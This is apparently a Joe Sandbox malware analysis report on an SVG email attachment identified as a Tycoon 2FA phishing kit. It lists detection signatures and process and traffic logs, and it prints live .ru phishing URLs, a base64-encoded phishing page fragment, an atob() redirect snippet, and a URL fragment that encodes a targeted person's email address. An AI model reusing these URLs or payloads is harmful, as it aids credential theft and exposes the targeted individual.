Edit tour

Windows Analysis Report
ATT61918.svg

Overview

General Information

Sample name:	ATT61918.svg
Analysis ID:	1642742
MD5:	b250e4389dc708b769c09aefc6066a68
SHA1:	1a985cdebc2d5ac203a4f681cb279170c666d7b1
SHA256:	50bf02e935e6754db041b9217fce6a217ae70a600650f205bf302ab9125c8982
Infos:

Detection

Invisible JS, Tycoon2FA

Score:	84
Range:	0 - 100
Confidence:	100%

Signatures

Yara detected AntiDebug via timestamp check

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Tycoon 2FA PaaS

AI detected suspicious Javascript

HTML page contains suspicious javascript code

Yara detected JavaScript embedded in SVG

Creates files inside the system directory

Deletes files inside the Windows folder

HTML page contains hidden javascript code

IP address seen in connection with other malware

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 8060 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7712 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2016,i,13235557415766536584,3776176302613473888,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2044 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 8448 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\ATT61918.svg" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
ATT61918.svg	JoeSecurity_JavaScriptembeddedinSVG	Yara detected JavaScript embedded in SVG	Joe Security

HTML

Source	Rule	Description	Author
2.13..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.13..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.4.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.4.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.3.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.7..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.11.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.3.d.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.0.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.1.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.1.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.1.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.0.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.0.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
Click to see the 9 entries

Joe Sandbox Signatures

• Phishing
• Compliance
• Networking
• System Summary
• Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected Invisible JS

Source: Yara match	File source: 1.3.d.script.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 1.3.d.script.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML

Yara detected Tycoon 2FA PaaS

Source: Yara match	File source: 2.13..script.csv, type: HTML
Source: Yara match	File source: 1.4.d.script.csv, type: HTML
Source: Yara match	File source: 1.7..script.csv, type: HTML
Source: Yara match	File source: 1.11.d.script.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 1.4.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, blocking keyboard shortcuts and right-click functionality, and redirecting the user to an unrelated website after a delay. These behaviors are highly suspicious and indicate potential malicious intent, such as preventing the user from interacting with the page or redirecting them to a phishing site.
Source: 1.11.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates several high-risk behaviors, including disabling common keyboard shortcuts and context menus, as well as using a debugger trap to detect and redirect the user to an external domain. These behaviors are highly suspicious and indicate potential malicious intent, likely to bypass security measures or perform unauthorized actions.
Source: 1.8..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://jx7d.qdjcpol.ru/WpB8P/... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated code/URLs. The script appears to be performing malicious activities, such as redirecting to a suspicious domain and collecting user credentials. The combination of these behaviors indicates a high-risk script that is likely intended for malicious purposes.
Source: 0.1.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script exhibits high-risk behavior by using obfuscated code to redirect the user to an unknown domain, which is likely a phishing or malicious site. The use of the 'atob' function to decode a base64-encoded URL is a common technique used by malicious scripts to hide their true intent. Additionally, the script appears to be using a dynamically generated variable 'SyNFSxFjEHVaBU', which could be used to further obfuscate the final destination URL. This combination of obfuscation and redirection to an untrusted domain is a strong indicator of malicious intent.
Source: 1.10..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://jx7d.qdjcpol.ru/WpB8P/... This script demonstrates several high-risk behaviors, including dynamic code execution, potential data exfiltration, and suspicious redirection. The use of obfuscated code, the presence of a debugger, and the attempt to redirect the user to an unrelated domain (Google) indicate a high likelihood of malicious intent. Overall, this script poses a significant security risk and should be treated with caution.
Source: 2.13..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://jx7d.qdjcpol.ru/uibxkchnlxoeljctjdujdmvzqm... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and aggressive DOM manipulation. It attempts to detect and block common security tools, disables keyboard shortcuts, and redirects the user to an unrelated website. Additionally, it prevents the user from copying text, which is a suspicious behavior. Overall, this script demonstrates a high level of malicious intent and poses a significant security risk.
Source: 1.2..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://jx7d.qdjcpol.ru/WpB8P/... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `atob()` and `decodeURIComponent()` to decode and execute remote code is a clear indicator of malicious intent. Additionally, the script appears to be sending user data to an untrusted domain, which poses a significant risk of data theft or other malicious activities. Overall, this script exhibits a high level of suspicion and should be treated as a potential security threat.
Source: 1.3.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates high-risk behaviors, including dynamic code execution through the use of `eval()` and obfuscated code. The script appears to be attempting to conceal its true purpose, which is a strong indicator of malicious intent. Given the combination of these high-risk factors, this script should be considered a significant security threat and should not be executed.

HTML page contains suspicious javascript code

Source: anonymous function

HTTP Parser: window.location.href = atob(

Yara detected JavaScript embedded in SVG

Source: Yara match

File source: ATT61918.svg, type: SAMPLE

Source: https://jx7d.qdjcpol.ru/WpB8P/#bWVsYW5pZS53YWx0b25Ac3BpcmVoZWFsdGhjYXJlLmNvbQ==

HTTP Parser: Base64 decoded: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Tech Solutions - Innovating the Future</title> <style> body { font-family: Arial, sans-serif; ...

Source: https://jx7d.qdjcpol.ru/WpB8P/

HTTP Parser: function iltowbntnr(){gkanqdrfgl = atob("pcfet0nuwvbfigh0bww+cjxodg1sigxhbmc9imvuij4kpghlywq+ciagpg1ldgegy2hhcnnldd0ivvrgltgipgogidxtzxrhig5hbwu9inzpzxdwb3j0iibjb250zw50psj3awr0ad1kzxzpy2utd2lkdggsigluaxrpywwtc2nhbgu9ms4wij4kica8dgl0bgu+ug9ydgzvbglvicygqwdlbmn5ic0gtw9kzxjuierlc2lnbjwvdgl0bgu+ciagpgxpbmsgahjlzj0iahr0chm6ly9mb250cy5nb29nbgvhcglzlmnvbs9jc3myp2zhbwlset1nb250c2vycmf0ondnahrandawozcwmczmyw1pbhk9um9ib3rvondnahramzawozqwmds1mdamzglzcgxhet1zd2fwiibyzww9inn0ewxlc2hlzxqipgogidxzdhlszt4kicagic8qiedlbmvyywwgu3r5bgvzicovciagicbib2r5ihskicagicagzm9udc1myw1pbhk6icdsb2jvdg8nlcbzyw5zlxnlcmlmowogicagicbtyxjnaw46ida7ciagicagihbhzgrpbmc6ida7ciagicagignvbg9yoiajmzmzowogicagicbsaw5llwhlawdoddogms42owogicagicbiywnrz3jvdw5klwnvbg9yoiajzjrmngy5owogicagfqokicagiggxlcbomiwgadmgewogicagicbmb250lwzhbwlsetogj01vbnrzzxjyyxqnlcbzyw5zlxnlcmlmowogicagicbjb2xvcjogizjjm2u1mdskicagih0kciagicbhihskicagicagy29sb3i6icmzndk4zgi7ciagicagihrlehqtzgvjb3jhdglvbjogbm9uztskicagih0kciagicbhomhvdmvyihskicagicagdgv4dc1kzwnvcmf0aw9uoib1bmrlc...

Source: https://www.homedepot.com/

HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 142.250.186.100:443 -> 192.168.2.4:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.78.6:443 -> 192.168.2.4:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.78.6:443 -> 192.168.2.4:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.5.189:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.70.67:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.220.176:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.78.6:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.192.153.175:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.192.153.175:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.192.153.175:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.195.52:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.206.20.104:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.192.153.175:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.193.40:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.32.99.41:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.209.240:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.10.213:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49786 version: TLS 1.2

Source: Joe Sandbox View	IP Address: 104.18.94.41 104.18.94.41
Source: Joe Sandbox View	IP Address: 104.17.209.240 104.17.209.240
Source: Joe Sandbox View	IP Address: 104.16.5.189 104.16.5.189
Source: Joe Sandbox View	IP Address: 13.32.99.41 13.32.99.41

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.16.195
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.16.195
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.16.195
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.16.195
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.16.195
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.16.195
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.16.195
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /WpB8P/ HTTP/1.1Host: jx7d.qdjcpol.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://jx7d.qdjcpol.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://jx7d.qdjcpol.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://jx7d.qdjcpol.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://jx7d.qdjcpol.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://jx7d.qdjcpol.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=EPmMu5wkma7wVlfwdbAulCWtj16C5keiaMMMt910N7E-1742377582-1.0.1.1-_7_2IUe50hn5_vSoVONvC6sO3T4xDATFCV.FRI5brkyNTEQHUaFd0Lgp9shkEYvv7gFREoS2PE5_l0ANiVoe05Q5yhha2ERVFVXYo8try2I
Source: global traffic	HTTP traffic detected: GET /kabutar!lkn1tnbe HTTP/1.1Host: vf70og.jnfemo.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://jx7d.qdjcpol.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://jx7d.qdjcpol.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /kabutar!lkn1tnbe HTTP/1.1Host: vf70og.jnfemo.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /WpB8P/ HTTP/1.1Host: jx7d.qdjcpol.ruConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://jx7d.qdjcpol.ru/WpB8P/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjhlUEV6ZFJhaTE5SkJTRU5JQjg5amc9PSIsInZhbHVlIjoiZUdHcHVKRE9lZWxtcFFNaVoyTGQ0Yk5tS1JyMjZwOFJWSTR6N1pNK09rU2tvQjQ3eUN3Y1hleHNHQUJEb2x3dUxRa2dwUTdHb2pYQ2o5alZUbllnaUNYZHIwR0RVNFhhZXMza01NU1l6MGFDQWdGa1NLOG44K3NlSkwrVmpIejQiLCJtYWMiOiIyNGRhN2FmN2Y0MWE1YmIwNmNkOGJjZjI0MzFkYjE0OTNiMDk5NTA1ZjU1Y2YwNGI4MTE3Y2NjMzhlYmM0ZWI0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im1BYUFveVlRWUQya29NSVRCcTVSNFE9PSIsInZhbHVlIjoiamowdi9TZnRKUkxwNWlkV2xDSk1sV1dUaW9UbmJkeWlERmtsbE5ScGdQSmRHMXVBQTFhQkdQWEFRRnFxUi9KUTZzMEhQeTlyQnU3NHM2eHpkSzd3a3JEWVg5OEpRbFMyOUpNSlBHTkdWYi9XQmlqMGROTGt2RGdyZFZpUjdIZ2kiLCJtYWMiOiJmYTViY2JjZTM2MjY3MWY4ZWE5ZjdmNzZmNTdjZjk2ODQxYzA3OWU3NmUyNTZhYTYyYTczY2Q4Zjg3NDAxNWVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fsRu3cLvg2nfKYhsBy8lAN9xZfMdkRkj HTTP/1.1Host: jx7d.qdjcpol.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjhlUEV6ZFJhaTE5SkJTRU5JQjg5amc9PSIsInZhbHVlIjoiZUdHcHVKRE9lZWxtcFFNaVoyTGQ0Yk5tS1JyMjZwOFJWSTR6N1pNK09rU2tvQjQ3eUN3Y1hleHNHQUJEb2x3dUxRa2dwUTdHb2pYQ2o5alZUbllnaUNYZHIwR0RVNFhhZXMza01NU1l6MGFDQWdGa1NLOG44K3NlSkwrVmpIejQiLCJtYWMiOiIyNGRhN2FmN2Y0MWE1YmIwNmNkOGJjZjI0MzFkYjE0OTNiMDk5NTA1ZjU1Y2YwNGI4MTE3Y2NjMzhlYmM0ZWI0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im1BYUFveVlRWUQya29NSVRCcTVSNFE9PSIsInZhbHVlIjoiamowdi9TZnRKUkxwNWlkV2xDSk1sV1dUaW9UbmJkeWlERmtsbE5ScGdQSmRHMXVBQTFhQkdQWEFRRnFxUi9KUTZzMEhQeTlyQnU3NHM2eHpkSzd3a3JEWVg5OEpRbFMyOUpNSlBHTkdWYi9XQmlqMGROTGt2RGdyZFZpUjdIZ2kiLCJtYWMiOiJmYTViY2JjZTM2MjY3MWY4ZWE5ZjdmNzZmNTdjZjk2ODQxYzA3OWU3NmUyNTZhYTYyYTczY2Q4Zjg3NDAxNWVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://jx7d.qdjcpol.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Range: bytes=65536-65536If-Range: "28feccc0-15d9d"
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://jx7d.qdjcpol.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Range: bytes=65536-89500If-Range: "28feccc0-15d9d"
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: jx7d.qdjcpol.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://jx7d.qdjcpol.ru/WpB8P/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: 